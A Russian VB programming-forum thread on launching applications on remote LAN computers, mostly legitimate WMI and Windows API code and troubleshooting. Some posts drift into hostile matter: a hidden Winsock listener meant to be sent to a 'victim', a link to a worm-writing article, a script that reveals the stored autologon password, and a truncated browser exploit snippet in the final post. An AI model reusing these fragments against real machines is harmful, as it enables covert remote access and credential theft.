Модераторы: Akina

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Запуск приложений на удаленном компьютере, Запуск приложений через ЛС на удаленном 
:(
    Опции темы
amt
  Дата 5.11.2004, 15:41 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



Как в VB запустить приложение на другом компьютере через локалбную сеть, чтобы оно работало именно на удаленном компьютере?
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
Mephisto
Дата 5.11.2004, 16:34 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Волкъ
***


Профиль
Группа: Завсегдатай
Сообщений: 1818
Регистрация: 27.8.2003
Где: Питер

Репутация: 2
Всего: 34



Тебе необходимо иметь запущеную прогу на удалённом компьютере, которая бы принимала бы путь к приложению котое необходимо запустить и сама запускала бы.
Т.е. тебе необходимо написать прогу, которая прослушивает определёный порт, и прогу которая с твоего компа передаёт в тот порт путь к проге которую необходимо запустить.
PM   Вверх
amt
  Дата 5.11.2004, 16:42 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



smile
Mephisto
Общий принцип я понял, но хотелось бы примерчик кода.
Заранее благодарен
amt

Это сообщение отредактировал(а) amt - 5.11.2004, 16:43
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
Sirik
Дата 13.11.2004, 12:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 3
Регистрация: 13.11.2004

Репутация: нет
Всего: нет



Я бы посоветовал писать с использованием протокола UDP.

Если нужен пример, напишу и скину
PM MAIL   Вверх
amt
Дата 14.11.2004, 09:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



Sirik, пример очень нужен.
Заранее благодарен.
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
anderson
Дата 14.11.2004, 19:09 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 13
Регистрация: 14.11.2004
Где: Борисоглебск

Репутация: нет
Всего: нет



Цитата(Sirik @ 13.11.2004, 12:15)
Я бы посоветовал писать с использованием протокола UDP.

Если нужен пример, напишу и скину

угу!! smile а мы его перекодим и напишем троян smile))))
Дело за тобой !! smile smile
PM MAIL IM ICQ AOL   Вверх
Vach
Дата 15.11.2004, 22:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 304
Регистрация: 17.10.2003
Где: Санкт-Петербург

Репутация: 8
Всего: 18



Пример запуска приложения в локальной сети.
References > Microsoft WMI Scripting
Код
strComputer = "... Remote computer name ..."
Set objWMIService = GetObject("winmgmts:" _
   & "{impersonationLevel=impersonate}!\\" _
   & strComputer & "\root\cimv2:Win32_Process")
Error1 = objWMIService.Create("notepad.exe", Null, _
   Null, intProcessID)

Тут можно почитать подробней.
Удачи!

Это сообщение отредактировал(а) Vach - 15.11.2004, 22:10
PM MAIL ICQ   Вверх
amt
Дата 27.11.2004, 14:59 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



Vach
Пытаюсь использовать твой код, но все время выскакивает ошибка: имя файла или класса не найдено.
Можно по-подробнее?
Есть комп (например W001), есть на нем на диске С: папка (пусть 111) с файлом (CALC.EXE)
Куда это все надо прописать?
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
Vach
Дата 28.11.2004, 11:54 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 304
Регистрация: 17.10.2003
Где: Санкт-Петербург

Репутация: 8
Всего: 18



подключи "Microsoft WMI Scripting" к проекту
References > Microsoft WMI Scripting
Код
Dim Error1 As Long
Dim strComputer As String
Dim strRun As String
Dim intProcessID As Long
Dim obj_SWbemObjectEx As SWbemObjectEx

strComputer = "W001"
Set obj_SWbemObjectEx = GetObject("winmgmts:" _
  & "{impersonationLevel=impersonate}!\\" _
  & strComputer & "\root\cimv2:Win32_Process") '

strRun = "C:\111\CALC.EXE"
Error1 = obj_SWbemObjectEx.Create(strRun, Null, Null, intProcessID)

"CALC.EXE" будет запущен с твоими правами (от лица пользователя выполнившего код приведенный выше)
"CALC.EXE" будет скрыто от пользователей (запустится как процесс) и интерфейс будет скрыт.
PM MAIL ICQ   Вверх
amt
Дата 29.11.2004, 14:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



Vach
Я наверно тебя достал.
Подключил я "Microsoft WMI Scripting" к проекту, но
выдается ощибка что такого нет As SWbemObjectEx (его действительно нет в списке).
Если эту строку заремарить, то идет таже проблема
Цитата
имя файла или класса не найдено.

У меня Microsoft WMI Scripting Library ветсии 1.1
Может надо поновей, или она у меня глючит?
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
Vach
Дата 29.11.2004, 14:26 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 304
Регистрация: 17.10.2003
Где: Санкт-Петербург

Репутация: 8
Всего: 18



У меня Microsoft WMI Scripting Library версии 1.2
Но где тут проблема мне сказать сложно, не сталкивался.
Думаю надо новй.
Я сам неделю узнал о WMI из семинара и теперь копаюсь.
Попробуй поставить SP5 на VB

PM MAIL ICQ   Вверх
amt
Дата 3.12.2004, 21:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



smile Привет Vach.
Кое-что новое накопал.
Твой код я запустил, но при этом он работает только если в качестве strComputer указывать текущий компьютер. При указании удаленного компа возникает ошибка о которой я уже писал
Цитата
имя файла или класса не найдено

Я пробовал создавать инсталяшку и устанавливать на другой комп, все равно - ни хрена.
Если чего новое накопал - сообщи. smile

Это сообщение отредактировал(а) amt - 3.12.2004, 21:51
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
Vach
Дата 3.12.2004, 23:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 304
Регистрация: 17.10.2003
Где: Санкт-Петербург

Репутация: 8
Всего: 18



удаленного компа...
версию винды скажи?
какие у тебя права? (админ/права на удаленное управление)
персональный фаервол стоит?

PM MAIL ICQ   Вверх
amt
Дата 6.12.2004, 14:32 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



Win у меня 98-ой
Насколько я понял права полные - могу делать все, что хочу.
А вот это
Цитата
персональный фаервол стоит?

что такое - не понимаю.
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
Vach
Дата 6.12.2004, 15:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 304
Регистрация: 17.10.2003
Где: Санкт-Петербург

Репутация: 8
Всего: 18



Вот тут сказано что WMI для 98 отдельно ставить нужно.
Цитата
Run-Time Requirements

WMI is preinstalled in Windows Server 2003, Windows XP, Windows Me, and Windows 2000.

Windows NT Workstation 4.0 SP4 and later:  WMI is available through "Add/Remove Windows components" in Control Panel, as WBEM option install. A later, more comprehensive, version (WMI CORE 1.5 (Windows 95/98/NT 4.0)) is available as an Internet download from http://www.microsoft.com/downloads.
Windows 98 and Windows 95:  Windows Management Instrumentation (WMI) CORE 1.5 (Windows 95/98/NT 4.0) is available as an Internet download from http://www.microsoft.com/downloads.

The Windows Management Instrumentation (WMI) CORE 1.5 (Windows 95/98/NT 4.0) requires Microsoft Internet Explorer version 5 or later 2.

PM MAIL ICQ   Вверх
valex13
Дата 7.12.2004, 09:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 243
Регистрация: 29.1.2003
Где: Иркук. область, г . Иркутск

Репутация: 1
Всего: 1



Я поставил отдельно на свою машину и машину, на которой хочу запустить приложение WMI.
После чего сделал вот такой код;
Код

Dim strComputer As String
Dim strRun As String
Dim intProcessID As Long
Dim obj_SWbemObject As SWbemObject

strComputer = "host1"
Set obj_SWbemObject = GetObject("winmgmts:" _
 & "{impersonationLevel=impersonate}!\\" _
 & strComputer & "\root\cimv2:Win32_Process") '


ErrNumb = obj_SWbemObject.Create(Text1.Text, Null, Null, intProcessID)
If ErrNumb > 0 Then
 MsgBox "Ошибка при выполнении операции!", vbCritical
End If


Пробовал strComputer ставить конкретный IP адрес.
Таже самая проблема что и у
amt
Обе машины Windows 98 SE. Может под этой ОС просто все это чудо враждебной техники не работает?

Это сообщение отредактировал(а) valex13 - 7.12.2004, 09:14
PM MAIL ICQ   Вверх
amt
Дата 7.12.2004, 15:05 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3




valex13 ,
а что ты поставил, я не понял?
Цитата
Я поставил отдельно на свою машину и машину, на которой хочу запустить приложение WMI.

И вообще, что никто по сети ничего не делает?
Неужели никто не сталкивался с этими проблемами?
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
amt
Дата 7.12.2004, 15:26 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



Vach, хорошо, пусть это надо ставить.
Цитата
Run-Time Requirements

WMI is preinstalled in Windows Server 2003, Windows XP, Windows Me, and Windows 2000.

Windows NT Workstation 4.0 SP4 and later:  WMI is available through "Add/Remove Windows components" in Control Panel, as WBEM option install. A later, more comprehensive, version (WMI CORE 1.5 (Windows 95/98/NT 4.0)) is available as an Internet download from http://www.microsoft.com/downloads.
Windows 98 and Windows 95:  Windows Management Instrumentation (WMI) CORE 1.5 (Windows 95/98/NT 4.0) is available as an Internet download from http://www.microsoft.com/downloads.

The Windows Management Instrumentation (WMI) CORE 1.5 (Windows 95/98/NT 4.0) requires Microsoft Internet Explorer version 5 or later 2.
Но я уже на свой комп (и на удаленный - тоже) понаставил всякой фигни из microsoft.com (и скрипт, и обновления для VB и т.д.) и нихрена.
Где-то, что-то не то; а где - не понятно.
Добавлено @ 15:29
И вообще - если эта фигня заработает, можно будет круто напиться и месяц отдыхать!
Можно рассматривать как предложение.
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
Vach
Дата 7.12.2004, 21:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 304
Регистрация: 17.10.2003
Где: Санкт-Петербург

Репутация: 8
Всего: 18



Я рад помочь, вот только в моей сети нету не одной вини кроме XP
Даже sp и обновления вне зависимости от пользователей ставятся централизованно.
Поэтому только XP.
Поговарю с админом нашей сети, может что подскажет.
Мы при помощи WMI+Scripts распространяем шаринги на все сетевые принтеры с учетом групповых политик.

Это сообщение отредактировал(а) Vach - 7.12.2004, 21:20
PM MAIL ICQ   Вверх
valex13
Дата 8.12.2004, 03:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 243
Регистрация: 29.1.2003
Где: Иркук. область, г . Иркутск

Репутация: 1
Всего: 1



amt ты не один в своем желании добраться до истины. Как же все таки это устроено?
PM MAIL ICQ   Вверх
Gannibal
Дата 9.12.2004, 00:49 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



Ну вот возьмёмся тогда... вперёд.. короче написат надо так.. .вот ето будет клиентская часть просто которуыу зашлёш какому нибудь своей жертве потом незабудь есчё поставит на форме винсок компонент и енаблед на фалсе smile чтобы видно небыло ничего smile ето готово засылаем

Код

Private Sub Form_Load()
Do
   If ws.State <> sckConnected And ws.State <> sckListening Then
       ws.Close
       ws.Listen
   End If
   DoEvents
Loop
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub


тепр надо рабочую прогу которую можно открыть у нас и когда соиденно с клиентом незнаыу с тем компом заслать одним нажатием кнопки открытие програмы...

примерно так....
короче прочитаи здесь статю поимёш потом просто вместо мессагебокса или других команд внедриш туда просто запуск проги
http://www.vbmaster.info/vb/articles.php?id=60

а прогу открыть можно так сам занимался етим.. писал спамеры от скуки в школе smile :Д
тока код на ДжаваСкрипте выглядит так

Код

var wsh=WScript.CreateObject("WScript.Shell");
wsh.Run("cmd");
wsh.SendKeys("net send 127.0.0.1 mda ~");


а на ВизуалБэйсикСкрипт вот так

Код

var WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.Run("cmd")


надеюсь хоть как помог smile
если ето вообще к теме smile


--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
Gannibal
Дата 9.12.2004, 01:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



а лучше будет наверное книжку прочитать про ВиндовсСкриптХост, там описаны все функции как открывать файлы на компе за помощю скриптов smile
И в Визуале должна быть компонента для WSH тока поищите .. наидёте файлик wshom.ocx ето представитель скриптов (Windows Script Host)
Добавлено @ 01:14
и вот кстати нашёл специально для вас статю хотя самому пригодится smile о том как создать червя.. вот можете и програу запустить без проблем

http://ugas.fatal.ru/articles/virmaking-1.php

читайте и наслажаитесь, говорю что уже этим занимался от балды smile :Д


--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
valex13
Дата 14.12.2004, 04:35 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 243
Регистрация: 29.1.2003
Где: Иркук. область, г . Иркутск

Репутация: 1
Всего: 1



M.E.G.U.S Спасибо за ответ. Мысль мне понятна :-) Но мне хотелось бы управлять приложением (Серверная часть) в полном объеме, например, когда завершилась та или иная операция. Видимо придется СОМ сервер писать.
PM MAIL ICQ   Вверх
Gannibal
Дата 15.12.2004, 00:06 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



valex13 ну если взять так то необезательно тебе надо будет писать СОМ приложение, если ты знаешь уже какие части будешь перехватывать и знаеш как они работают напишеш прогу которая будет ето всё перехватыват.. всё что было сделано... и сам управлять впринципе.. .. может быть я тебя непонял...



--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
valex13
Дата 17.12.2004, 09:18 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 243
Регистрация: 29.1.2003
Где: Иркук. область, г . Иркутск

Репутация: 1
Всего: 1



Я хочу управлять приложением из другого приложения. Приложение, которое я хочу управлять, находиться на другом компьютере подключенном в локальную сеть.
Мне нужно давай разные указание этому приложению и проверять завершено ли оно!
PM MAIL ICQ   Вверх
Mephisto
Дата 23.12.2004, 16:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Волкъ
***


Профиль
Группа: Завсегдатай
Сообщений: 1818
Регистрация: 27.8.2003
Где: Питер

Репутация: 2
Всего: 34



Используй PostMessage или SendMessage. Зависит от необходимости получения ответа.
Вот выдержки из MSDN:

PostMessage Function
--------------------------------------------------------------------------------

The PostMessage function places (posts) a message in the message queue associated with the
thread that created the specified window and returns without waiting for the thread to process the message.

To post a message in the message queue associate with a thread, use the PostThreadMessage function.


Syntax

BOOL PostMessage( HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);
Parameters

hWnd
[in] Handle to the window whose window procedure is to receive the message. The following values have special meanings.
HWND_BROADCAST
The message is posted to all top-level windows in the system, including disabled or invisible unowned windows,
overlapped windows, and pop-up windows. The message is not posted to child windows.
NULL
The function behaves like a call to PostThreadMessage with the dwThreadId parameter set to the identifier of the current thread.
Msg
[in] Specifies the message to be posted.
wParam
[in] Specifies additional message-specific information.
lParam
[in] Specifies additional message-specific information.
Return Value

If the function succeeds, the return value is nonzero.

If the function fails, the return value is zero. To get extended error information, call GetLastError

SendMessage Function

--------------------------------------------------------------------------------

The SendMessage function sends the specified message to a window or windows.
It calls the window procedure for the specified window and does not return until the window procedure has processed the message.

To send a message and return immediately, use the SendMessageCallback or SendNotifyMessage function.
To post a message to a thread's message queue and return immediately, use the PostMessage or PostThreadMessage function.


Syntax

LRESULT SendMessage( HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam
);
Parameters

hWnd
[in] Handle to the window whose window procedure will receive the message.
If this parameter is HWND_BROADCAST, the message is sent to all top-level windows in the system,
including disabled or invisible unowned windows, overlapped windows, and pop-up windows;
but the message is not sent to child windows.
Msg
[in] Specifies the message to be sent.
wParam
[in] Specifies additional message-specific information.
lParam
[in] Specifies additional message-specific information.
Return Value

The return value specifies the result of the message processing; it depends on the message sent.


PM   Вверх
Gannibal
Дата 24.12.2004, 12:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



вот кстати статью надыбал, похоже что это то что надо

Автор: Хованский Ян Дата: 09.05.2003

Введение

Иногда бывает нужно запустить или остановить «внешнее» приложение. О том, как это делается и пойдёт речь в данной статье.

Запуск

Существует несколько способов запуска приложения:

1. Можно использовать стандартную функцию Visual Basic - Shell:

Shell "C:\Program files\WinRar\WinRar.exe", vbNormalFocus '// Запускаем WinRar.exe, окно программы получит фокус и сохранит стандартные размеры
2. Также можно воспользоваться функциями API:

'// Функция для запуска приложения (выполнения командной строки)
Declare Function WinExec Lib "kernel32" Alias "WinExec" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long


'// lpCmdLine - командная строка
'// nCmdShow - соответсвующая константа

'// Константы
Const SW_SHOWNORMAL = 1 '// Исходные размеры и состояние. Фокус

Пример:

Код

WinExec "calc.exe", SW_SHOWNORMAL '// Запуск Калькулятора в нормальном состоянии


3. Способ, позволяющий открыть приложение ассоциированное с данным типом файлов:


'// Функция для открытия приложения
Declare Function ShellExecute& Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long)

Declare Function GetDesktopWindow Lib "user32" () As Long '// Функция для получения манипулятора рабочего стола

'// Константы
Const SW_SHOWNORMAL = 1

Пример:

Call ShellExecute(GetDesktopWindow, "Open", "C:\Text.txt", "", "c:\", SW_SHOWNORMAL)



В данном примере открывается файл C:\Text.txt.


Остановка выполнения

Для остановки выполнения приложения необходимо знать манипулятор его главного окна. Найти этот манипулятор вы можете по заголовку, по классу и т.д., способов достаточно много.

Предполагается, что манипулятор вы нашли. Далее, опять же есть несколько способов:

Visual Basic не предоставляет средств, позволяющих закрыть чужое приложение, поэтому воспользуемся API. Для начала используем функцию SendMessage:

Код

'// Функция, посылающая сообщения окну
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long


'// Константы
Const WM_CLOSE = &H10



Пример:

Код

SendMessage hwnd, WM_CLOSE, 0, 0 '// hwnd - манипулятор окна


Кроме этого можно остановить приложение принудительно:

'// Функция получает идентификатор процесса, связанного с ним окна
Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long


'// Открывает манипулятор существующего процесса
Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

'// Функция уничтожает процесс
Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long


'// Функция закрывает процесс
Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

'// Константы
Const PROCESS_TERMINATE = &H1

'// Процедура закрытия приложения
Private Sub CloseProgram (hwnd As Long) '// hwnd - манипулятор окна
Dim pID As Long
Dim hProc As Long
GetWindowThreadProcessId hwnd, pID '// Получаем идентификатор процесса
hProc = OpenProcess(PROCESS_TERMINATE, False, pID) '// Открываем процесс
TerminateProcess hProc, 0 '// Уничтожаем процесс
CloseHandle hProc
End Sub


статья взята с сайта ВБкодерс.нет.ру читайте..

Это сообщение отредактировал(а) M.E.G.U.S - 24.12.2004, 12:33


--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
Mephisto
Дата 27.12.2004, 16:11 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Волкъ
***


Профиль
Группа: Завсегдатай
Сообщений: 1818
Регистрация: 27.8.2003
Где: Питер

Репутация: 2
Всего: 34



Цитата
Declare Function TerminateProcess Lib "kernel32"

Жестоко. В принципе WM_QUIT должно хватить.

Но в принципе я хотел бы разобратся со скриптами: можно ли запустить скрипт
от имени удаленного пользователя, явно указав логин и пароль?
Может чё здесь надо поправить?
Код

"{impersonationLevel=impersonate}!\\"

PM   Вверх
Gannibal
Дата 28.12.2004, 12:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



ну тебе есчё типо надо дописать что хочешь делать ;) типа такого

Код

{impersonationLevel=impersonate," & "(Shutdown)}



--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
Gannibal
Дата 28.12.2004, 13:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



а что так с помошу реестра сделать ведь там хранится инфа о пользователе и его пороль

Mephisto а можешь код показать? или у тебя его ещё нету.. вот код выбрасываю как автологин в систему зделать типо smile)

Код

Const AppName = "Windows NT/2K Autologon"
Const RegRoot = "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"

Function ReadValue(ValueName)
On Error Resume Next
ReadValue = Shell.RegRead(RegRoot & ValueName)
On Error GoTo 0
End Function

Function WriteValue(ValueName, Value)
On Error Resume Next
ReadValue = Shell.RegWrite(RegRoot & ValueName, Value)
On Error GoTo 0
End Function

Sub AutologonIsOff
If MsgBox("Автоматический вход в систему выключен." & vbNewLine & vbNewLine & _
 "Вы хотите его включить?", _
 vbYesNo + vbQuestion, AppName) <> vbYes Then Exit Sub
 
Dim Account
Account = InputBox("Введите данные в форме 'ИМЯ_ДОМЕНА\ИМЯ ПОЛЬЗОВАТЕЛЯ' ." _
 & vbNewLine & vbNewLine & "Например: 'MICROSOFT\BILL_GATES'", _
 AppName, ReadValue("DefaultDomainName") & "\" & _
 ReadValue("DefaultUserName"))

If Len(Account) = 0 Then
 MsgBox "Account is not entered.", _
  vbOkOnly + vbExclamation, AppName
 Exit Sub
End If

Dim I
I = InStr(Account, "\")
If I = 0 Then I = InStr(Account, "/")
If I = 0 Then
 MsgBox "Отсутствует разделитель между именем пользователя и именем домена!", _
  vbOkOnly + vbExclamation, AppName
 Exit Sub
End If
Dim UserName, Domain
UserName = Mid(Account, I + 1)
Domain = Left(Account, I - 1)
If (Len(UserName) = 0) Or (Len(Domain) = 0) Then
 MsgBox "Отсутствует имя пользователя или имя домена!", _
  vbOkOnly + vbExclamation, AppName
 Exit Sub
End If

Dim Password
Password = InputBox("Введите пароль для " & Account & _
 " account", AppName, ReadValue("DefaultPassword"))

WriteValue "AutoAdminLogon", "1"
WriteValue "DefaultDomainName", Domain
WriteValue "DefaultUserName", UserName
WriteValue "DefaultPassword", Password

MsgBox "Автоматический вход в систему включён.", _
 vbOkOnly + vbInformation, AppName
End Sub

Sub AutologonIsOn
If MsgBox("Автоматический вход включен:" & vbNewLine & vbNewLine & _
 "Пользователь:"  & vbTab & _
 "'" & ReadValue("DefaultDomainName") & _
 "\" & ReadValue("DefaultUserName") & "'" & vbNewLine & _
 "Пароль:" & vbTab & vbTab & _
 "'" & ReadValue("DefaultPassword") & "'" & _
 vbNewLine & vbNewLine & _
 "Вы хотите его отменить?", _
 vbYesNo + vbQuestion, AppName) <> vbYes Then Exit Sub

WriteValue "AutoAdminLogon", "0"

MsgBox "Автоматический вход в систему отключен.", _
 vbOkOnly + vbInformation, AppName
End Sub

Dim Shell
Set Shell = WScript.CreateObject("WScript.Shell")

If ReadValue("AutoAdminLogon") = "1" Then
AutologonIsOn
Else
AutologonIsOff
End If
 
Set Shell = Nothing




Это сообщение отредактировал(а) M.E.G.U.S - 28.12.2004, 13:06


--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
Gannibal
Дата 28.12.2004, 13:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



а если так? ещё попробывать
от процесса запустить типа?

Код

Const OWN_PROCESS = 16
Const NOT_INTERACTIVE = False
Const NORMAL_ERROR_CONTROL = 2

strComputer = "."
Set objWMIService = GetObject("winmgmts:" & _
   "{impersonationLevel=Impersonate}!\\" & strComputer & "\root\cimv2")

Set objService = objWMIService.Get("Win32_BaseService")
errReturn = objService.Create("DbService", _
                             "Personnel Database", _
                             "c:\windows\system32\db.exe", _
                             OWN_PROCESS, _
                             NORMAL_ERROR_CONTROL, _
                             "Manual", _
                             NOT_INTERACTIVE, _
                             "NT AUTHORITY\LocalService", "")

Wscript.Echo errReturn



--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
Gannibal
Дата 6.1.2005, 10:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 742
Регистрация: 15.4.2003
Где: 010101

Репутация: 18
Всего: 17



слушай ты уда делся, скажи хоть помогло или нет, а то ни слова ни духу ... smile


--------------------
Я родился в этом безумном мире - и Я сделаю всё чтобы в нём выжить!
PM MAIL ICQ   Вверх
amt
Дата 26.1.2005, 20:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 249
Регистрация: 26.10.2004
Где: г. Волгоград

Репутация: 3
Всего: 3



Привет всем кто в этой теме участвовал.
Пару месяцев назад я открыл эту тему.
За это время накопилось куча сообщений.
Честно говоря я уже не врубаюсь в то что здесь приводится.
Может я пропустил ответ на свой вопрос.
Многое из того что здесь приводилось я пробовал - результат - 0.
А потому повторю свой вопрос и прошу знатоков систематизировать ответ, если он уже прозвучал.

Цитата
Как в VB запустить приложение на другом компьютере через локалбную сеть, чтобы оно работало именно на удаленном компьютере?

ОС - Win 98.

Заранее огромное спасибо!!!!!
--------------------
С точки зрения банальной эрудиции не каждый индивидуум способен игнорировать тенденции парадоксальных эмоций.
PM MAIL   Вверх
Gigabyte
Дата 15.3.2005, 18:43 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Студент-халявщик
**


Профиль
Группа: Участник
Сообщений: 305
Регистрация: 1.11.2004
Где: ПЫтер

Репутация: нет
Всего: 3



тебе надо лишь что бы пользоватьель зашел на страничку содержащую код:
Код

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![cdata[
